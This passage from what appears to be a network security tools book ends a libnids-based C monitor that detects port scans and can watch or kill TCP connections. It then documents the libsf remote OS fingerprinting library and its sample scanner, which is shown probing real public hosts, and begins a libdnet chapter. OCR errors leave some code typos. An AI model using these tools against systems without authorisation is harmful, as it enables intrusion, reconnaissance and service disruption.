     return (EXIT_SUCCESS);
}

int



set_ports(char *list)
{
     u_short p;
     u_char *q;
     int i;

     q = list;
          /* pull out ports and stick them in our port list array */
          for (i = 0; q; i++)
          {
               if (i > M_LEN)
          {
               /* list too long */
               return (-1);
          }
          p = atoi(q);
          if (p == 0)
          {
               return (-1);
          }
          else
          {
               lp.mon[i] = p;
          }
          if ((q = strchr(q, (char)',')))
          {
               *q = NULL;
               q++;
          }
     }
     return (1);
}

void
report (int type, int err, void *unused, void *data)
{
     int i;
     char buf[BUFSIZ];
     struct host *offender;

     /* port scan warning? */
     if (type == NIDS_WARN_SCAN)
     {
          lp.ps_count++;
          offender = (struct host *)data;
          fprintf(stderr, "\n-[%s: portscan detected from %s]-\n",
               get_time(),
               inet_ntoa(*((struct in_addr *)&offender->addr)));

          /* pull out IPs and ports scanned */
          for (memset (buf, 0, BUFSIZ), i = 0; i < offender->n_packets; i++)



          {
               sprintf(buf + strlen(buf), "%s",
                    inet_ntoa(*((struct in_addr *)
                    &offender->packets[i].addr)));
               sprintf(buf + strlen(buf), ":%hi",
                    offender->packets[i].port);
                    strcat(buf, "\n");
          }
          fprintf(stderr, "%s", buf);
     }
}

void
monitor_tcp(struct tcp_stream *stream, void *unused)
{
     int i;
     struct half_stream *half;

     /*
      * First check to see if we have a connection we're watching
      * and the user presses 'D' to discard it.
      */
     if (lp.flags & LP_DISCARD)
     {
          /* clear out all the state for this connection */
          lp.flags &= ~LP_DISCARD;
          lp.flags &= ~LP_WATCH;
          lp.flags &= ~LP_KILL;
          memset (&lp.t, 0, sizeof(lp.t));
     }

     /* TCP SYN packet */
     if (stream->nids_state == NIDS_JUST_EST)
     {
          /* if we already have a connection in scope, ignore this one */
          if (lp.flags & LP_CONN)
          {
               return;
          }
          /* see if this connection is to a port we're monitoring */
          if (!interesting(stream->addr.dest))
          {
               return;
          }
          /* lock this connection in scope */
          lock_tuple(stream->addr);
          lp.flags |= LP_CONN;

          lp.tcp_count++;
          fprintf(stderr, "\n-[%s: TCP connection: %s]-\n",
               get_time(),



               cull_address(stream->addr));

          /* we want data from both ends of the connection */
          stream->client.collect++;
          stream->server.collect++;
          return;
     }
     /* TCP FIN or RST packet */
     if (stream->nids_state == NIDS_CLOSE ||
         stream->nids_state == NIDS_RESET)
     {
          /* if this isn't data from our locked connection return */
          if (!our_tuple(stream->addr))
          {
               return;
          }
          fprintf(stderr, "\n-[%s: TCP connection terminated]-\n",
               get_time());
          if (lp.flags & LP_KILL)
          {
               /* we were set to kill this connection, increment counter */
               lp.tcp_killed++;
          }
          /* clear out all the state for this connection */
          lp.flags &= ~LP_CONN;
          lp.flags &= ~LP_WATCH;
          lp.flags &= ~LP_KILL;
          memset(&lp.t, 0, sizeof(lp.t));
          return;
     }
     /* TCP data packet */
     if (stream->nids_state == NIDS_DATA)
     {
          /* if this isn't data from our locked connection return */
          if (!our_tuple(stream->addr))
          {
               return;
          }
          if (stream->client.count_new)
          {
               half = &stream->client;
          }
          else
          {
               half = &stream->server;
          }
          /* if we're not set to watch the connection, return */
          if (!(lp.flags & LP_WATCH))
          {
               return;
          }
          if (lp.flags & LP_KILL)



          {
               /* kill the connection */
               nids_killtcp(stream);
               /* dump the rest of the data */
               nids_discard(stream, half->count_new);
               return;
          }
          for (i = 0; i < half->count_new; i++)
          {
               /* we only want to print characters that are printable! */
               if (isascii(half->data[i]))
               {
                    fprintf(stderr, "%c", half->data[i]);
               }
          }
     }
}

/* peel off the character and process it */
void
process_command()
{
     int i;
     char buf[1];

     if (read(STDIN_FILENO, buf, 1) == -1)
     {
          perror("read error:");
          return;
     }

     switch (toupper(buf[0]))
     {
          case '?':
               /* help */
               command_summary();
               break;
          case 'D':
               /* if we have a connection, discard it */
               if (lp.flags & LP_DISCARD)
               {
                    /* got it the first time you typed it dorkus! */
                    return;
               }
               if (lp.flags & LP_CONN)
               {
                    lp.flags |= LP_DISCARD;
                    lp.flags &= ~LP_CONN;
                    fprintf(stderr, "\n-[discarded connection]-\n");
               }
               break;



          case 'K':
               /* if we have a connection, kill it */
               if (lp.flags & LP_KILL)
               {
                    /* got it the first time you typed it dorkus! */                    
                    return;
               }
               if (lp.flags & LP_CONN)
               {
                    lp.flags |= LP_KILL;
                    fprintf(stderr, "\n-[killing connection]-\n");
               }
               break;
          case 'p':
                    /* ports we're watching */
                    fprintf(stderr, "\n-[lilt monitor ports]-\n");
                    for (i = 0; lp.mon[i]; i++)
                    {
                         fprintf(stderr, "%d", lp.mon[i]);
                    }
                    fprintf(stderr, "\n");
                    break;
          case 'Q':
                /* quit */
                fprintf(stderr, "\n-[later dorkus!]-\n");
                exit (EXIT_SUCCESS);
          case 'S':
               /* statistics */
               fprintf(stderr, "\n-[lilt statistics]-\n");
               fprintf(stderr, "TCP connections:\t%d\n", lp.tcp_count);
               fprintf(stderr, "TCP connections killed:\t%d\n",
                    lp.tcp_killed);
               fprintf(stderr, "port scans detected:\t%d\n", lp.ps_count);
               break;
          case 'W':
               /* if we have a connection, watch it */
               if (lp.flags & LP_WATCH)
               {
                    /* got it the first time you typed it dorkus! */
                    return;
               }
               if (lp.flags & LP_CONN)
               {
                    lp.flags |= LP_WATCH;
                    fprintf(stderr, "\n-[watching connection]-\n");
               }
               break;
          default:
               break;
     }
}



/* basically pulled from libnids sample code */
char *
cull_address(struct tuple4 addr)
{
     static char buf[256];

     strcpy(buf, inet_ntoa(*((struct in_addr *)&addr.saddr)));
     sprintf(buf + strlen(buf), ".%d ->", addr.source);
     strcat(buf, inet_ntoa(*((struct in_addr *)&addr.daddr)));
     sprintf(buf + strlen(buf),".%d", addr.dest);
     return (buf);
}

int
interesting(u_short port)
{
     int i;

     /* check our TCP WKP list for the port in question */
     for (i = 0; lp.mon[i]; i++)
     {
          if (lp.mon[i] == port)
          {
               return (1);
          }
     }
     return (0);
}

int
our_tuple(struct tuple4 addr)
{
     /* check to see if this packet belongs to us */
     if (addr.source == lp.t.source && addr.dest == lp.t.dest &&
          addr.saddr == lp.t.saddr && addr.daddr == lp.t.daddr)
     {
          return (1);
     }
          else if (addr.source == lp.t.dest && addr.dest == lp.t.source &&
               addr.daddr == lp.t.saddr && addr.saddr == lp.t.daddr)
          {
               return (2);
          }
          else
          {
               return (0);
          }
     }



     void
     lock_tuple(struct tuple4 addr)
{
     /* lock this tuple in to our radar */
     lp.t.source = addr.source;
     lp.t.dest = addr.dest;
     lp.t.saddr = addr.saddr;
     lp.t.daddr = addr.daddr;
}

char *
get_time()
{
     int i;
     time_t t;
     static char buf[26];

     t = time((time_t *)NULL);
     strcpy(buf, ctime(&t));

     /* cut out the day, year and \n */
     for (i = 0; i < 20; i++)
     {
          buf[i] = buf[i + 4];
     }
     buf[15] = 0;

     return (buf);
}

void
usage(char *name)
{
     fprintf(stderr,
         "usage: %s:\n"
         "-m ports\tList of TCP ports to monitor (x,y,z)\n",
          name);
}

void
command_summary ()
{
     /* print the commands that are available to the user in brackets */
     fprintf(stderr,"\n-[lilt command summary]-\n[?] - this blurb\n");
     if (lp.flags & LP_CONN)
     {
          fprintf(stderr,"[d] - discard connection from scope\n");
          fprintf(stderr,"[k] - kill connection in scope\n");



     }
     else
     {'
          fprintf(stderr," d - discard connection from scope\n");
          fprintf(stderr," k - kill connection in scope\n");
     }
     fprintf(stderr,"[p] - display ports being monitored\n");
     fprintf(stderr,"[q] - quit lilt\n");
     fprintf(stderr,"[s] - statistics\n");
     if (lp.flags & LP_CONN)
     {
          fprintf(stderr,"[w] - watch connection in scope\n");
     }
     else
     {
          fprintf(stderr," w - watch connection in scope\n");
     }
}

/* EOF */

 



 

Chapter 5: The Libsf Library

Overview

URL: http://www.packetfactory.net/Projects/libsf

Primary authors: Shawn Bracken and Mike Schiffman

Component type: C language library, remote operating system detection

License: BSD, (Fingerprints are GPL)

Version profiled: 0.1

Dependencies: libpcap, libnet-l.l.x, libdb-1

Remote OS detection is the family of methods used to discern the OS running on a remote machine. This
tool can be extremely useful in the network security practitioner's arsenal. It cuts down on the time and
complexity required for penetration testing and network hardening as well as network administration.

Classical remote OS detection techniques involved a variety of high-profile methods such as gleaning OS-
related information from banners that network daemons display upon connection or downloading native
binaries from a machine (via FTP or HTTP) and determining for which architecture the binary was built.
Contemporary remote OS detection techniques are much more surgical in that they involve collecting,
collating, and correlating (fingerprinting) specific information inside network packets at the network and
transport layer. Libsf is a small library to enable the application programmer to perform contemporary remote
OS detection via examination of these different protocol layers, referred to collectively as the network "stack."
The library extends this stack fingerprinting functionality across a wide range of platforms.

 

http://www.packetfactory.net/Projects/libsf


 

Installation Notes

Installation of the Libsf distribution requires two phases. First, build and install the library:

tradecraft:/usr/local/src/libdnet-1.0# ./configure && make && make
install

Next, create and install the active and passive fingerprint databases. You build the active database from an
unmodified nmap fingerprint database (a copy of which comes with libsf):

tradecraft:/usr/local/src/libdnet-1.0/import# ./db_import -a nmap-
fingerprint.txt && cp libsf.db /usr/local/share/libsf

The passive database is a simple flatfile (a copy of which comes with libsf):

tradecraft:/usr/local/src/libdnet-1.0/import# cp libsf-p.txt
/usr/local/share/libsf

 



 

Design Considerations

We created Libsf to bridge the gap that existed between commonly available tools (such as Fyodor's active
fingerprinting facility in nmap and Michal Zalewski's passive fingerprinting tool p0f) and the need for remote

OS detection to be built inside additional arbitrary network security tools. While these two tools work well, they
are standalone and do not lend themselves very well toward integration into new frameworks. Previous to
libsf, there was no way for an application programmer to seamlessly include remote OS detection in his or
her programs. The only possible way to get this functionality required serious hacks of existing tools. Libsf
offers the application programmer simple and portable primitives to perform remote OS detection. One major
advantage of libsf is that its functionality is based upon popular and well-tested tools; the active methods are
based on nmap while the passive methods are based on p0f—two tools with proven track records.

Future plans for the library include combining the two separate databases into a single MySQL-based
database.

Active Fingerprinting Methods

Libsf's active fingerprinting functionality consists of generating certain TCP packets, waiting for responses,
and then analyzing and correlating these responses with its database. These packets transmit to a TCP port
with a daemon listening, to an "open" port, and to an inactive or "closed" TCP port. As such, before it can start
fingerprint scanning, libsf needs to find an open TCP port and a closed TCP port on the target host.
Depending upon initialization parameters, libsf tries to either connect to "likely" open ports such as 80,139,
22, 25, 53, 113, 443, or 6667 or kick off a sequential port scan to determine port status.

At this writing, libsf supports seven different active TCP fingerprint tests. Although each is slightly different,
they all use the same general packet template shown in Figure 5.1.

Figure 5.1: Libsf TCP packet with options shown exploded.

Each of the seven tests contains the same TCP options string as shown earlier; we describe the specifics of
each test as follows.

Active Test 1: TCP SYN Packet to an Open Port

A TCP packet with the SYN (synchronize sequence numbers) flag is set to an open TCP port on the remote
host. SYN packets initialize a TCP session and are ubiquitous across the Internet. This test should almost
always succeed.

Active Test 2: NULL Packet to an Open Port

In this test, a TCP packet with no flags is set to an open TCP port on the remote host. In normal operation,
you never see a packet with no control flags.

Active Test 3: TCP FIN SYN PSH URG Packet to an Open Port



In this test, a TCP packet with the FIN (finished sending data), SYN, PSH (push data to the application layer),
and URG (urgent data present) flags are set to an open TCP port on the remote host. In normal operation,
you never see a packet with these controls flags.

Active Test 4: TCP ACK Packet to an Open Port

In this test, a TCP packet with the ACK (acknowledgment) flag is set to an open TCP port on the remote host.
The ACK packet, used to acknowledge data, is another standard TCP packet that is often encountered.

Active Test 5: TCP 5YN Packet to a Closed Port

In this test, a TCP packet with the SYN flag is set to a closed TCP port on the remote host. This situation is
standard and should result in an RST packet sent back to the original host.

Active Test 6: TCP ACK Packet to a Closed Port

In this test, a TCP packet with the ACK flag is set to a closed TCP port on the remote host. This situation is
nonstandard and results in undefined behavior.

Active Test 7: TCP FIN\PSH\URC Packet to a Closed Port

In this test, a TCP packet with the FIN, PSH, and URG flags is set to a closed TCP port on the remote host.
This situation is also nonstandard and results in undefined behavior.

Passive Fingerprinting Methods

One problem with active fingerprinting is that it is noisy. You can easily detect the initial port scan or TCP
connections and subsequent seven test packets sent out to elicit information from the remote machine.
Passive fingerprinting solves this problem by eliminating any packet transmission from the process. In order to
gather information, libsf's passive fingerprinting module waits for TCP SYN packets from remote hosts to
pass on the network segment and uses information in the packets to differentiate between various operating
systems.

At this writing, libsf does not have passive fingerprinting functionality fully working, but it does have the hooks
to support eight different passive IP and TCP fingerprint tests based on received SYN and SYN|ACK packets.

Passive Test 1: IP Time to Live

Determine the original IP time to live (TTL) field of the packet as it was sent from the target host. The original
value of this header field requires a bit of guesswork to calculate because it decrements by intermediate
routers as it travels across the Internet. Generally speaking, increasing the TTL to the next power of two is
usually pretty accurate for most remote hosts. For example, a TTL of 17 (24 + 1) would become 32 (25). The
expected error between the TTL estimate and the true TTL increases as the distance between the
fingerprinting system and the target increases. A traceroute to the host would give the proper number of hops
to determine the original TTL but would add over-the-top complexity to this portion of the scan (in addition to
making it active instead of passive).

Passive Test 2: IP Packet Size

Determine the size of the packet as reported by the IP header.

Passive Test 3: IP Don't Fragment Bit

Determine whether the remote host set the IP don't fragment (DF) bit.



Passive Test 4: TCP Window Scale Option

Determine whether the remote host set the TCP window scale option.

Passive Test 5: TCP Maximum Segment Size Option

Determine whether the remote host set the TCP maximum segment size option.

Passive Test 6: TCP Selective Acknowledgment Flag Option

Determine whether the remote host set the TCP selective acknowledgment (SACK) option.

Passive Test 7: TCP No-Operation Flag Option

Determin whether the remote host set the TCP no-operation (NOP) option.

Passive Test 8: TCP Window Size

Determine what the remote host set the TCP window size to be.

Database

The database that libsf employs is a precompiled list of operating systems and their responses to the
fingerprint tests. Libsf correlates and matches information that it finds through collection techniques against
information in the database. For each individual test result that matches a signature in the database, libsf
increments a score. At the conclusion of testing, the OS with the highest score represents libsf's best guess.

One major difference that exists between libsf and other existing tools is that rather than implementing an
inefficient flat-file database, libsf uses Berkeley libdb for a more efficient model. The fingerprint database is a
sorted b-tree (balanced tree) accessed with a much faster seek time than the traditional flat-file formats. As
previously mentioned, the database is built and installed at compile time so that it is available to the user of
stack fingerprinting applications.

 



 

Native Datatypes

Libsf specifies one native datatype that the application programmer needs to know about: libsf_t.

   libsf_t

libsf_t is a typedef from the libsf_handle structure, which is libsf's native handler. It is the main

monolithic control data structure that describes a libsf session. Every major function inside libsf takes a
libsf_t argument. Like libnet's and libpcap's main structures, libsf_t is fully opaque to the application

programmer.

 



 

Framework Functions

Libsf offers specific functionality, and as such it is a small library. The following four functions are general
framework functions that initialize and destroy a libsf session as well as determine error information.

   libsf_t *libsf_init(char type, char *device, char *target,
   u_short o_port, u_short c_port, u_char flags, char *err_buf);

libsf_init () initializes a libsf session, type is the type of fingerprinting session to initialize, either
LIBSF_ACTIVE or LIBSF_PASSIVE. device is the canonical name of the network device to use for
network activity. If it is NULL, libsf attempts to determine a suitable device, target is the presentation format

IPv4 address of the host to fingerprint; if initializing a passive fingerprinting session, the user might opt not to
specify an address and pass in a NULL pointer (in which case all incoming TCP SYN packets are subject to
fingerprinting). o_port is the open TCP port to use for some of the active fingerprinting tests (if 0 libsf will
probe for one). c_port is the closed TCP port to use for some of the active fingerprinting tests (if 0 libsf will
probe for one). If initializing a passive session, the open and closed arguments are ignored. flags is a
bitmask of control flags that should be 0 or one or more of the constants in Table 5.1. err_buf is a buffer of
size LIBSF_ERRBUF_SIZE bytes used to hold any possible error messages. Upon success, the function
returns a valid libsf descriptor for use in subsequent functions; upon failure, the function returns NULL and
err_buf contains the reason. Table 5.1 summarizes the flags symbolic constants.

Table 5.1: libsf Control Flags

CONSTANT MEANING

LIBSF_CTRL_VERBOSE Tell libsf to dump internal state messages to the console

LIBSF_CTRL_DEBUG Tell libsf to dump debugging messages to the console

Note You can instantiate multiple libsf sessions concurrently with multiple calls to libsf_init ()

(each returning a unique descriptor).

Note You should use LIBSF_CTRL_VERBOSE if the application programmer wants to see what is going

on internally with libsf (the status of tests and so on).

Note You should use LIBSF_CTRL_DEBUG if the application programmer wants to see all available

internal debugging messages.

   int libsf_set_timeout(libsf_t *s, int timeout);

libsf_set_timeout () sets the network timeout timeout in seconds for the libsf session that s

referenced. For an active fingerprinting session, this variable is the time that libsf is willing to wait for a
response from its target host during its testing phase. For a passive fingerprinting session, this period is the
time that libsf is willing to wait for a match from any host to correspond with a fingerprint in its database. Upon



success, the function returns 1; upon failure, the function returns -1.

   void libsf_destroy(libsf_t * s);

libsf_destroy () shuts down the libsf session that s references. It frees all memory associated with s

and closes the file descriptors.

   char *libsf_geterror(libsf_t *s);

libsf_geterror () is libsf's ubiquitous error-retrieving function. It culls the last error message that was
posted within the context of the libsf descriptor that s referenced and returns the string. If no error occurred,
the function returns NULL.

 



 

Fingerprint Functions

The fingerprinting functionality, including all network discussions and database lookups, exists within the
following two functions.

   int libsf_active_id(libsf_t *s);

libsf _active_id () performs an active fingerprint test against the target host that s references. Each

of the seven active fingerprint tests described previously executes.

If you initialize libsf with LIBSF_CTRL_VERBOSE, libsf will dump verbose debugging information about each

of the tests.

   int libsf_passive_id(libsf_t *s);

libsf_passive_id() starts the passive fingerprinting engine for the libsf session that s references. If a
target host was specified at initialization, libsf _passive_id () sleeps for the timeout-waiting for a TCP

SYN packet from that host. If no target host is specified, the function returns the first match that it finds unless
the timer expires.

 



 

Results Functions

The results functions pull various bits of OS-related information from the libsf descriptor.

   int libsf_os_get_tm(libsf_t *s);

libsf_os_get_tm () returns the total number of matches from the OS list. Depending on how many tests

succeeded, this number can be large (several hundred matches is not uncommon). Note that most of the
matches will be false positives, and usually only the entries with the highest score are of any interest.

   int libsf_os_get_hs(libsf_t *s);

libsf_os_get_hs () returns the highest score from the OS list. More often than not, this list is much

smaller than the total number of matches.

   char *libsf_os_get_next(libsf_t *s);

libsf_os_get_next () returns the next OS from the list that s references. Libsf maintains an internal

state counter that increments each time the function is called. Upon success, the function returns the next OS
string in the OS guess list; upon failure or at the end of the list, the function returns NULL.

Note Note that you should not mix calls to libsf_os_get_next () with calls to
libsf_os_get_match () because they both make use of the same internal counter. See
libsf_os_reset_counter ().

   char *libsf_os_get_match(libsf_t *s, u_short score);

libsf_os_get_match() returns the next OS from the list that s references, matching the score score.

Libsf maintains an internal state counter that increments each time the function is called. Upon success, the
function returns the next OS string matching score in the OS guess list; upon failure or at the end of the list,
the function returns NULL.

Note You should not mix calls to libsf_os_get_match () with calls to libsf_os_get_next ()
because they both make use of the same internal counter. See libsf_os_reset_counter ().

   int libsf_os_reset_counter(libsf_t *s);

libsf_os_reset_counter () resets the internal OS list counter that s references.
libsf_os_get_next () and libsf_os_get_match() use this counter to keep state between function
calls. The typical usage of either function is to call one in a while loop that terminates when the end of the



list is reached. If additional calls to either function are required, the application programmer should call
libsf_os_reset_counter () to reset the state counter.

 



 

Sample Program–Legerdemain

The following program illustrates the active fingerprinting functionality of the libsf library. Legerdemain is an
OS detection utility that attempts to determine the operating system of a remote host. It is fairly straightforward
in its usage. Command line options are dumped when no arguments are specified:

   tradecraft: ~# legerdemain
   Legerdemain 1.0 [remote operating system detection tool]     
   usage ./legerdemain [options] target
   -a              dump all guesses
   -d              dump debugging information
   -i device       specify a device
   -v              be verbose

When the verbose or debug switches are specified, Legerdemain enables the debugging options inside libsf.
This action results in more messages dumped to the console. The user can specify a device at the command
line by using the -i flag or leave it up to libsf to determine a suitable device. The dump all guesses switch

causes Legerdemain to display the entire list of OS guesses that it compiled. This action is generally not all
that useful, because early guesses are based on limited information and are usually incorrect. A sample
invocation of Legerdemain is as follows:

   tradecraft: ~# legerdemain -ifxp0 www.securityfocus.com
   Legerdemain 1.0 [remote operating system detection tool]
   Host: www.securityfocus.com, found open port: 80 and closed port: 1
   Performing active fingerprint scan...
   205 potential matches (highest score of 51)
   Highest scored OS guesses:
   Linux 2.1.19 - 2.2.17
   Linux 2.2.14
   Linux 2.2.19 on a DEC Alpha
   Linux kernel 2.2.13

Legerdemain found 205 potential matches, four of which scored the highest. At this writing, chances are that
http://www.securityfocus.com is running on a machine with a Linux 2.2.x kernel. Because Legerdemain was
not invoked with theverbose switch, we could not see which tests succeeded and which failed. To gather
more information about what is going on inside libsf, we start Legerdemain with the verbose switch:

   tradecraft: ~# legerdemain -v www.somethingawful.com
   Legerdemain 1.0 [remote operating system detection tool]
   libsf: verbose mode enabled
   Performing active portscan to find open port...
   Host: www.somethingawful.com, found open port: 80 and closed port: 1
   Performing active fingerprint scan...
   LIBSF_ACTIVE_OPTSYN succeeded
   LIBSF_ACTIVE_OPTNULL libsf_get_response(): timer expired
   LIBSF_ACTIVE_OPTSFUP succeeded
   LIBSF_ACTIVE_OPENACK succeeded
   LIBSF_ACTIVE_CLOSESYN succeeded

http://www.securityfocus.com


   LIBSF_ACTIVE_CLOSEACK succeeded
   LIBSF_ACTIVE_CLOSEFPU succeeded
   436 potential matches (highest score of 67)
   Highest scored OS guesses:
   FreeBSD 2.2.1 - 4.1
   FreeBSD 3.2-4.0
   FreeBSD 4.1.1 - 4.3 (X86)
   FreeBSD 4.3 - 4.4PRERELEASE
   MS Windows2000 Professional RC1/W2K Advance Server Beta3
   Windows Me or Windows 2000 RC1 through final release
   Windows Millenium Edition v4.90.3000
   Windows NT 5 Beta2 or Beta3

This time, Legerdemain invoked verbosely—which dumps test status to the console. Legerdemain tests
successfully with the exception of the second test (a NULL TCP packet with options to an open port). Out of
436 possible matches, FreeBSD and Windows came up as being the best guesses. The reason Legerdemain
had difficulty differentiating between the two is that both stacks have similar fingerprinting properties.

 



 

Sample Code–Legerdemain

The following two source files comprise the Legerdemain codebase. To preserve readability, we richly
comment the code but no book-text appears inside the code. You can download the full source files from this
book's companion Web site at http://www.wiley.com/compbooks/schiffman.

Legerdemain.h

   /*
   * $Id: legerdemain.h,v 1.1.1.1 2002/02/18 21:30:06 route Exp $
   *
   * Building Open Source Network Security Tools
   * legerdemain.h - libsf example code
   *
   * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
   * All rights reserved.
   *
   */

   #include <libsf.h>

   void usage(char *);

   /* EOF */

Legerdemain.c

   /*
   * $Id: legerdemain.c,v 1.1.1.1 2002/02/18 21:30:06 route Exp $ i
   *
   * Building Open Source Network Security Tools
   * legerdemain.c - libsf example code
   *
   * Copyright (c) 2002 Mike D. Schiffman <mike@infonexus.com>
   * All rights reserved.
   *
   */

   #include "./legerdemain.h"

   int
   main(int argc, char *argv[])
   {
        int c;
        int dump_all_guesses;
        libsf_t *s;

http://www.wiley.com/compbooks/schiffman


        char *guess;
        char *device;
        u_char flags;
        u_short hs, tm;
        char errbuf[LIBSF_ERRBUF_SIZE];

        printf("Legerdemain 1.0 [remote operating system detection tool]\n");

        flags = 0;
        device = NULL;
        dump_all_guesses = 0;
        while ((c = getopt(argc, argv, "adi:v")) != EOF)
        {
             switch (c)
             {
                  case 'a':
                       dump_all_guesses = 1;
                       break;
                  case 'd':
                       flags = LIBSF_CTRL_DEBUG;
                       break;
                  case 'i':
                       device = optarg;
                       break;
                  case 'v':
                       flags = LIBSF_CTRL_VERBOSE;
                       break;
                  default:
                       break;
             }
        }

        c = argc - optind;
        if (c != 1)
        {
             usage(argv[0]);
             return (EXIT_FAILURE);
        }

        /*
        * Initialize libsf with the following options:
        *
        * LIBSF_ACTIVE - An active fingerprint scan.
        * device       - Use the device the user specified at the command
        *                line or let libsf (libnet) determine a device.
        * argv[options]- User specified target IP address.
        * 0            - Probe for an open TCP port (portscan)
        * 1            - Use 1 as a closed TCP port.
        * flags        - User speficied flags.
        * errbuf       - Holds any possible initialization errors.



        */
        s =libsf_init(LIBSF_ACTIVE, device, argv[optind], 0, 1, flags,
                  errbuf);
        if (s == NULL)
        {
             fprintf(stderr, "error creating libsf handle: %s\n", errbuf);
             return (EXIT_FAILURE);
        }

        printf("Host: %s, found open port: %d and closed port: %d\n",
             argv[optind], s->t.port_open, s->t.port_closed);

        printf("Performing active fingerprint scan...\n");

        /*
        * Perform the active scan, trying each one of the seven active
        * fingerprint tests. Note that the function only returns -1 on
        * error (if s was a NULL pointer), not when some or all of the
        * fingerprint tests timeout or do not succeed.
        */
        if (libsf_active_id(s)== -1)
        {
             fprintf(stderr, "libsf_active_id %s\n", libsf_geterror(s));
        }
        else
        {
             /* get the total number of matches */
             tm = libsf_os_get_tm(s);

             /* get the highest scored match */
             hs = libsf_os_get_hs(s);

             printf("%d potential matches (highest score of %d)\ n", tm, hs);
             printf("Highest scored OS guesses:\ n");

             /* run through the 0s list, dumping string that matches score */
             while ((guess = libsf_os_get_match(s, hs)))
             {
                  printf("%s\n", guess);
             }
             /* if invoked with the 'a' switch, dump entire OS list */
             if (dump_all_guesses)
             {
                  printf("All OS guesses:\n");
                  /* reset the internal OS list counter */
                  libsf_os_reset_counter(s);
                  /* dump each guess from the list */
                  while ((guess = libsf_os_get_next(s)))
             {
                  printf("%s\n", guess);
             }
        }



   }
   /* free everything up */
   libsf_destroy(s);

   return (EXIT_SUCCESS);
}

void
usage(char *name)
{
   fprintf(stderr, "usage %s {options] target n"
             "-a\t\tdump all guesses\n"
             "-d\t\tdump debugging information\n"
             "-i device\tspecify a device\n"
             "-v t\tbe\verbose\n", name);
        }

        /* EOF */

 



 

Chapter 6: The Libdnet Library

Overview

URL: http://www.libdnet.sourceforge.net

Primary author: Dug Song

Component type: C language library, low-level network routines

License: Modified BSD

Version profiled: 1.4

Dependencies: None

In days gone by, if an application programmer wanted to write a program to access the kernel's ARP cache
or route table and maybe set or clear some flags on a network interface, he or she had to perform a great
deal of digging into the guts of the OS. This development scheme is cumbersome and not portable. If the
application programmer wanted this program to work on a separate machine with a different operating
system, chances are that he or she would dig into the guts of that one as well. Libdnet alleviates these
burdens by providing a simplified, high-level, portable interface to low-level networking routines in the
following eight areas:

Robust network address manipulation1.

Kernel ARP cache lookup and manipulation2.

Kernel route table lookup and manipulation3.

Network interface lookup and manipulation4.

Network firewall rule manipulation5.

Ethernet frame and IP packet transmission6.

Binary buffer manipulation7.

Random number manipulation8.

Libdnet is incredibly useful for handling the low-level network-oriented parameters—something that no
application programmer wants to deal with. For instance, if the application programmer wanted to write a
program that needed to send raw Ethernet frames to an arbitrary destination, he or she might require an ARP
cache lookup to find the MAC address of the default gateway. Libdnet performs this task seamlessly across
multiple platforms.

 

http://www.libdnet.sourceforge.net


 

Installation Notes

Installation of the library is straightforward:

  tradecraft:/usr/local/src/libdnet-1.0# ./configure; make; make install

 



 

Native Datatypes

In order to work across a wide variety of platforms, libdnet specifies a series of native intermediate datatypes
to represent different networking primitives (addressing, interfaces, and firewalling). These datatypes enable
libdnet to maintain an operating system agnostic stance while still providing robust functionality. The
datatypes are high-level enough that the application programmer can work with them, but they also contain
enough information for libdnet to internally translate them to their operating system-specific counterpart.

  struct addr {

struct addr is a partially opaque structure used to represent a network address.

  u_short addr_type;

addr_type is the type of address contained in the structure.

  u_short addr_bits;

addr_bits is the size of the address in bits contained in the structure.

Other members of this structure are internal to libdnet, and the application programmer does not need to
know about them.

  };
  struct arp_entry {

In the ARP cache functions, struct arp_entry describes an ARP table entry.

  struct addr arp_pa;

arp_pa is the ARP protocol address.

  struct addr arp_ha;

arp_ha is the ARP hardware address.

  };



  struct route_entry {

In the ARP cache functions, struct route_entry describes an ARP table entry.

  struct addr route_dst;

route_dst is the destination address.

  struct addr route_gw;

route_gw is the default gateway to get to that destination address.

  };
  struct intf_entry {

struct intf_entry describes a network interface.

  u_int intf_len;

intf_len is the length of the entry.

  char intf_name[60];

intf_name is the canonical name of the interface.

  u_short intf_type;

intf_type is a bitmask for the type of interface.

  u_short intf_flags;

intf_flags are the flags set on the interface.

  u_int intf_mtu;



intf_mtu is the maximum transmission unit (MTU) of the interface.

  struct addr intf_addr;

intf_addr is the interface's network address.

  struct addr intf_dst_addr;

intf_dst_addr is the interface's point-to-point destination address (for things like PPP).

  struct addr intf_link_addr;

intf_link_addr is the interface's link-layer address.

  u_int intf_alias_num;

intf_alias_num is the number of aliases for the interface.

  struct addr intf_alias_addr_flexarr;

intf_alias_addr is the array of aliases for the interface.

  };
  struct fw_rule {

fw_rule describes a firewall rule.

  char fw_device[14];

fw_device is the canonical name of the interface to which the rule applies (in other words, "fxp0", "eth0",
and "any").

  uint8_t fw_op:4,

fw_op is the type of operation (FW_OP_ALLOW or FW_OP_BLOCK).



  fw_dir:4;

fw_dir is the direction in which the rule should be applied (FW_DIR_IN or FW_DIR_OUT).

  uint8_t fw_proto;

fw_proto is the protocol to which the rule applies (IP_PROTO_IP, IP_PROTO_TCP, IP_PROTO_ICMP,

and so on).

  struct addr fw_src;

fw_src is the source IP address to which the rule applies.

  struct addr fw_dst;

fw_dst is the destination IP address to which the rule applies.

  uint16_t fw_sport[2];

fw_sport is the source port range of the rule or the ICMP type and mask.

  uint16_t fw_dport[2];

fw_dport is the destination port range of the rule or the ICMP code and mask.

  };
  arp_t

arp_t refers to an ARP handle used in the ARP family of functions.

  route_t

route_t refers to a route handle used in the route table family of functions.



  intf_t

intf_t refers to an interface handle used in the interface family of functions.

  fw_t

fw_t refers to a firewall handle used in the firewall family of functions.

  ip_t

ip_t refers to an IP handle used in the IP packet family of functions.

  eth_t

eth_t refers to an Ethernet handle used in the Ethernet frame family of functions.

  blob_t

blob_t refers to a blob handle used in the blob buffer management family of functions.

  rand_t

rand_t refers to a random number handle used in the random number generation family of functions.

 



 

Addressing Functions

Consisting mainly of conversion routines, libdnet provides a rich subset of network address manipulation
functions. For simplicity's sake, libdnet specifies and uses its own native address format for most operations:
struct addr. We further describe this format in the datatypes section. At this writing, libdnet has support for
only two address types (addr_type), which we show in Table 6.1.

Table 6.1: libdnet Address Types

CONSTANT MEANING

ADDR_TYPE_NONE No address set

ADDR_TYPE_ETH 48-bit Ethernet address

ADDR_TYPE_IP 32-bit IPv4 address

  int addr_cmp (const struct addr *a, const struct addr *b);

addr_cmp() compares the address that a points to with the address to which b points. If they are identical,
the function returns 0. If a differs from b, the function returns a positive or negative integer denoting the
